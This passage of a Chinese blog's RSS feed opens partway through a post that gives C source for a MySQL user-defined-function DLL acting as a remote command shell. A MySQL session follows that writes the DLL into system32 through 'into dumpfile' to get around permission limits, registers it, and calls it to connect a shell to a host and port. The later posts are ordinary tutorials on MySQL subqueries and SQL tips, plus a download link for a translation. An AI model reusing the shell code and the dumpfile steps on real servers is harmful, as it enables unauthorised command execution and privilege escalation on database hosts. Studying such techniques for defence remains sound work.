0 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if( ret &lt;= 0 ) break; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytesRead = recv( sock, buff, BUFFER_SIZE, 0 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if( bytesRead &lt;= 0 ) break; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( StartWith( buff , "exit" ) == TRUE ) break; <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = WriteFile( hWritePipe2, buff, bytesRead, &amp;bytesRead, 0 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if( !ret ) break; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;TerminateProcess( processInfo.hProcess, 0 ); <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle( hReadPipe1 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle( hReadPipe2 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle( hWritePipe1 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle( hWritePipe2 ); <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;closesocket( sock ); <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;return 0; <BR>}&nbsp;&nbsp;&nbsp;&nbsp; <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//判断字符串是否以另一个字符串开头 <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>BOOL StartWith( char *buf1, char *buf2 ) <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;int len = strlen(buf2); <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;if( memcmp( buf1,buf2,len ) == 0 ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return TRUE; <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;return FALSE; <BR>} <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//记录日志信息，调试用 <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>void LogMsg( char *msg ) <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;FILE&nbsp;&nbsp;&nbsp;&nbsp;*fp; <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;fp = fopen( "C:\mysql.txt", "a+" ); <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;fputs( msg, fp ); <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;fclose( fp ); <BR>} <BR><BR><BR>/******************************************************************************* <BR>* File:&nbsp;&nbsp; MySQL_Shell.h <BR>* Author: 云舒(wustyunshu at hotmail dot com) <BR>* Date:&nbsp;&nbsp;&nbsp;&nbsp;2005-12-12 <BR>*******************************************************************************/ <BR><BR>#ifdef MAKE_DLL <BR>&nbsp;&nbsp;&nbsp;&nbsp;#define LIB extern "C" __declspec(dllexport) <BR>#else <BR>&nbsp;&nbsp;&nbsp;&nbsp;#define LIB extern "C" __declspec(dllimport) <BR>#endif <BR><BR>#define MYSQL_ERRMSG_SIZE&nbsp;&nbsp;&nbsp;&nbsp;512&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* Max buffer size */ <BR><BR>typedef char my_bool; <BR><BR>enum Item_result <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;STRING_RESULT,REAL_RESULT,INT_RESULT <BR>}; <BR><BR>typedef struct st_udf_args <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arg_count;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Number of arguments */ <BR>&nbsp;&nbsp;&nbsp;&nbsp;enum Item_result&nbsp;&nbsp;&nbsp;&nbsp;*arg_type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Pointer to item_results */ <BR>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;**args;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Pointer to argument */ <BR>&nbsp;&nbsp;&nbsp;&nbsp;unsigned long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*lengths;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* Length of string arguments */ <BR>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*maybe_null;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Set to 1 for all maybe_null args */ <BR>} UDF_ARGS; <BR><BR><BR>typedef struct st_udf_init <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;my_bool&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;maybe_null;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* 1 if function can return NULL */ <BR>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;decimals;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* for real functions */ <BR>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_length;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* For string functions */ <BR>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ptr;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* free pointer for function data */ <BR>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;const_item;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* 0 if result is independent of arguments */ <BR>} UDF_INIT; <BR><BR>LIB&nbsp;&nbsp;&nbsp;&nbsp;my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * ); <BR><BR>LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * ); <BR><BR><BR>2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。<BR>对于一般低权限的系统用户是没有对system32目录写权限的，在这样的情况下我们可以使用into dumpfile把dll文件放到system32来突破，具体如下：<BR>mysql&gt; use mysql;<BR>Database changed<BR>mysql&gt; create table heige(line blob);<BR>Query OK, 0 rows affected (0.50 sec)<BR><BR>mysql&gt; insert into heige values(load_file('c:/udf.dll'));<BR>Query OK, 1 row affected (0.08 sec)<BR><BR>mysql&gt; select * from heige into dumpfile 'c:/winnt/system32/heige.dll';<BR>Query OK, 1 row affected (0.18 sec)<BR><BR>mysql&gt; create function shell returns integer soname 'heige.dll';<BR>Query OK, 0 rows affected (0.07 sec)<BR><BR>mysql&gt; select * from mysql.func;<BR>+-------+-----+-----------+----------+<BR>| name&nbsp;&nbsp;| ret | dl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| type&nbsp;&nbsp;&nbsp;&nbsp; |<BR>+-------+-----+-----------+----------+<BR>| shell |&nbsp;&nbsp; 2 | heige.dll | function |<BR>+-------+-----+-----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>mysql&gt; select shell('127.0.0.1','1234');<BR>+---------------------------+<BR>| shell('127.0.0.1','1234') |<BR>+---------------------------+<BR>|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL |<BR>+---------------------------+<BR>1 row in set (0.97 sec)<BR><BR>五、参考<BR>《MySQL 5.0 Reference Manual》 </FONT><A href="http://dev.mysql.com/doc/refman/5.0/en/" target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://dev.mysql.com/doc/refman/5.0/en/</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>《Hackproofing MySQL》&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT><A href="http://www.ngssoftware.com/papers/HackproofingMySQL.pdf" target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://www.ngssoftware.com/papers/HackproofingMySQL.pdf</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>《给mysql加个自定义函数（windows平台）》</FONT><A href="http://www.icylife.net/yunshu/show.php?id=244" target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://www.icylife.net/yunshu/show.php?id=244</FONT></A><BR><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>六、感谢<BR>感谢云舒、TomyChen、Mix ...所有pst的兄弟们。<BR><BR>谢谢阅读! </FONT><img src ="http://www.blogjava.net/chenpengyi/aggbug/31557.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chenpengyi/" target="_blank">陈朋奕</a> 2006-02-19 21:53 <a href="http://www.blogjava.net/chenpengyi/articles/31557.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于MySQL嵌套查询的问题（原创于BlogJava－chenpengyi）</title><link>http://www.blogjava.net/chenpengyi/articles/14007.html</link><dc:creator>陈朋奕</dc:creator><author>陈朋奕</author><pubDate>Sun, 25 Sep 2005 11:36:00 GMT</pubDate><guid>http://www.blogjava.net/chenpengyi/articles/14007.html</guid><wfw:comment>http://www.blogjava.net/chenpengyi/comments/14007.html</wfw:comment><comments>http://www.blogjava.net/chenpengyi/articles/14007.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/chenpengyi/comments/commentRss/14007.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chenpengyi/services/trackbacks/14007.html</trackback:ping><description><![CDATA[<P><FONT size=2>最近在MySQL上做了点工作，发现很多人都在询问MySQL嵌套查询的问题，许多人都觉得MySQL不支持嵌套查询，其实MySQl从4.11版后已经完全支持嵌套查询了，那么下面我举些简单的嵌套查询的例子吧（源程序来自MySQL User Manual）：<BR><BR>1. SELECT语句的子查询:<BR>语法:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT ... FROM (subquery) AS name ...<BR><BR>先创建一个表:<BR>CREATE TABLE t1 (s1 INT, s2 CHAR(5), s3 FLOAT);<BR>INSERT INTO t1 VALUES (1,'1',1.0);<BR>INSERT INTO t1 VALUES (2,'2',2.0);<BR><BR>我们就可以进行以下的嵌套查询了:<BR>SELECT sb1,sb2,sb3<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FROM (SELECT s1 AS sb1, s2 AS sb2, s3*2 AS sb3 FROM t1) AS sb<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WHERE sb1 &gt; 1;<BR><BR>结果是： </FONT><FONT size=2><FONT color=#000000>2<CODE>, '2', 4.0</CODE>. <BR></FONT><BR>我们知道下面语句是不会得到正确结果的，因为对经过Group by排序的集合进行求均值是不能得到正确答案的：<BR>SELECT AVG(SUM(column1)) FROM t1 GROUP BY column1<BR><BR>所以我们可以通过下面的嵌套查询实现同样的效果：<BR>SELECT AVG(sum_column1)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FROM (SELECT SUM(column1) AS sum_column1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FROM t1 GROUP BY column1) AS t1;<BR><BR>2.行的子查询（Row Subquery）：<BR>看下面的例子：<BR>SELECT * FROM t1 WHERE ROW(1,2) = (SELECT column1, column2 FROM t2);<BR>这个查询是返回column1等于column2的结果行。Row函数中的1和2相当于构造参数。想必Blogjava上的同志对这些应该比较清楚，也不去详细介绍了。<BR></FONT><BR><FONT size=2>3.使用Exist和Not Exist参数<BR>这里的Exist和Not Exist用途及用法和在其他没有什么大的区别,我就简单举几个范例好了:<BR><BR>范例一:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT DISTINCT store_type FROM Stores<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE EXISTS (SELECT * FROM Cities_Stores<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE Cities_Stores.store_type = Stores.store_type);<BR>范例二:&nbsp;&nbsp; SELECT DISTINCT store_type FROM Stores<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE NOT EXISTS (SELECT * FROM Cities_Stores<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE Cities_Stores.store_type = Stores.store_type);<BR>范例三:&nbsp; 这个例子中嵌套使用了Not Exist语法，稍微注意一下：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT DISTINCT store_type FROM Stores S1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE NOT EXISTS (<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SELECT * FROM Cities WHERE NOT EXISTS (<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SELECT * FROM Cities_Stores<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WHERE Cities_Stores.city = Cities.city<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AND Cities_Stores.store_type = Stores.store_type));<BR><BR>4.条件关联关系查询：<BR>解释起来麻烦，直接看例子吧：<BR>SELECT column1 FROM t1 AS x<BR>&nbsp;&nbsp;&nbsp;&nbsp; WHERE x.column1 = (SELECT column1 FROM t2 AS x<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WHERE x.column1 = (SELECT column1 FROM t3<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WHERE x.column2 = t3.column1));<BR>跟其他数据库做法是一样的。<BR><BR>5.其他使用方法和注意：<BR>除了上面这些还有很多很多，不过就不去细讲了，因为这些跟别的数据库差不多，只是为了给大家一个参考，提提就够了。<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT (SELECT s1 FROM t2) FROM t1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT (SELECT s2 FROM t1);<BR><BR>支持子查询的语法有：SELECT，INSERT，UPDATE，DELETE，SET和DO。<BR><BR>子查询可以使用任何普通查询中使用的关键词：如DINSTINCT，GROUP BY，LIMIT，ORDER BY，UNION，ALL，UNION ALL等。可以使用&lt;,&gt;, &lt;=, &gt;=, =, &lt;&gt;运算符进行比较，也可以使用ANY ，IN和SOME进行集合的匹配。<BR><BR>转载请注明出处：陈朋奕 <A href="http://www.blogjava.net/chenpengyi/chenpengyi">http://www.blogjava.net/chenpengyi</A></FONT></P><img src ="http://www.blogjava.net/chenpengyi/aggbug/14007.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chenpengyi/" target="_blank">陈朋奕</a> 2005-09-25 19:36 <a href="http://www.blogjava.net/chenpengyi/articles/14007.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL 精妙语句（确实牛！）</title><link>http://www.blogjava.net/chenpengyi/articles/7839.html</link><dc:creator>陈朋奕</dc:creator><author>陈朋奕</author><pubDate>Sat, 16 Jul 2005 16:02:00 GMT</pubDate><guid>http://www.blogjava.net/chenpengyi/articles/7839.html</guid><wfw:comment>http://www.blogjava.net/chenpengyi/comments/7839.html</wfw:comment><comments>http://www.blogjava.net/chenpengyi/articles/7839.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.blogjava.net/chenpengyi/comments/commentRss/7839.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chenpengyi/services/trackbacks/7839.html</trackback:ping><description><![CDATA[<FONT size=2>如何从一位菜鸟蜕变成为高手，灵活使用的SQL语句是必不可少的。本文收集了部分比较经典，常用的SQL语句供大家参考，希望对大家有所帮助。 <BR><BR>　　说明：复制表(只复制结构,源表名：a 新表名：b)　　 <BR><BR>　　SQL: select * into b from a where 1&lt;&gt;1 <BR><BR>　　说明：拷贝表(拷贝数据,源表名：a 目标表名：b)　　 <BR><BR>　　SQL: insert into b(a, b, c) select d,e,f from b; <BR><BR>　　说明：显示文章、提交人和最后回复时间　　 <BR><BR>　　SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b <BR><BR>　　说明：外连接查询(表名1：a 表名2：b)　　 <BR><BR>　　SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c <BR><BR>　　说明：日程安排提前五分钟提醒　　 <BR><BR>　　SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())&gt;5　　 <BR><BR>　　说明：两张关联表，删除主表中已经在副表中没有的信息 <BR><BR>　　SQL: 　　 <BR><BR>　　delete from info where not exists ( select * from infobz where info.infid=infobz.infid <BR><BR>　　说明：-- <BR><BR>　　SQL: 　　 <BR><BR>　　SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE <BR><BR>　　 FROM TABLE1, <BR><BR>　　 (SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE <BR><BR>　　 FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND <BR><BR>　　 FROM TABLE2 <BR><BR>　　 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X, <BR><BR>　　 (SELECT NUM, UPD_DATE, STOCK_ONHAND <BR><BR>　　 FROM TABLE2 <BR><BR>　　 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = <BR><BR>　　 TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') &amp;brvbar;&amp;brvbar; '/01','YYYY/MM/DD') - 1, 'YYYY/MM') Y, <BR><BR>　　 WHERE X.NUM = Y.NUM （+） <BR><BR>　　 AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) &lt;&gt; X.STOCK_ONHAND B <BR><BR>　　WHERE A.NUM = B.NUM <BR><BR>　　说明：-- <BR><BR>　　SQL: 　　 <BR><BR>　　select * from studentinfo where not exists(select * from student where studentinfo.id=student.id) and 系名称='"&amp;strdepartmentname&amp;"' and 专业名称='"&amp;strprofessionname&amp;"' order by 性别,生源地,高考总成绩 <BR><BR>　　说明： <BR><BR>　　从数据库中去一年的各单位电话费统计(电话费定额贺电化肥清单两个表来源） <BR><BR>　　SQL: 　 <BR><BR>　　SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, '</FONT><A class=article href="http://www.enet.com.cn/eschool/includes/zhuanti/cg/index.shtml" target=_blank><FONT size=2>mm</FONT></A><FONT size=2>'), '01', a.factration)) AS JAN, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV, <BR><BR>　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC <BR><BR>　　FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration <BR><BR>　　 FROM TELFEESTAND a, TELFEE b <BR><BR>　　 WHERE a.tel = b.telfax) a <BR><BR>　　GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') <BR><BR>　　说明：四表联查问题：　　 <BR><BR>　　SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where ..... <BR><BR>　　说明：得到表中最小的未使用的ID号 <BR><BR>　　SQL:　 <BR><BR>　　SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID <BR><BR>　　 FROM Handle <BR><BR>　　 WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)</FONT><img src ="http://www.blogjava.net/chenpengyi/aggbug/7839.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chenpengyi/" target="_blank">陈朋奕</a> 2005-07-17 00:02 <a href="http://www.blogjava.net/chenpengyi/articles/7839.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>官方MySQL 5 新特性 视图（Views） 翻译 下载！ </title><link>http://www.blogjava.net/chenpengyi/articles/7666.html</link><dc:creator>陈朋奕</dc:creator><author>陈朋奕</author><pubDate>Wed, 13 Jul 2005 15:56:00 GMT</pubDate><guid>http://www.blogjava.net/chenpengyi/articles/7666.html</guid><wfw:comment>http://www.blogjava.net/chenpengyi/comments/7666.html</wfw:comment><comments>http://www.blogjava.net/chenpengyi/articles/7666.html#Feedback</comments><slash:comments>20</slash:comments><wfw:commentRss>http://www.blogjava.net/chenpengyi/comments/commentRss/7666.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chenpengyi/services/trackbacks/7666.html</trackback:ping><description><![CDATA[<P><FONT size=2>花了小部分国庆时间休假的时间，终于完成了。下面是中文版的下载地址：<BR><BR><A HREF="/Files/chenpengyi/MySQL-Views-Translation-CN.rar">http://www.blogjava.net/Files/chenpengyi/MySQL-Views-Translation-CN.rar</A><BR>希望大家转载时保留个人及出处信息，否则视为侵权，呵呵。<BR><BR>如果需要英文版的，可以到下面地址下载：<BR><A href="http://dev.mysql.com/tech-resources/articles/mysql-views.pdf">http://dev.mysql.com/tech-resources/articles/mysql-views.pdf</A><BR><BR></FONT></P><img src ="http://www.blogjava.net/chenpengyi/aggbug/7666.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chenpengyi/" target="_blank">陈朋奕</a> 2005-07-13 23:56 <a href="http://www.blogjava.net/chenpengyi/articles/7666.html#Feedback" target="_blank" 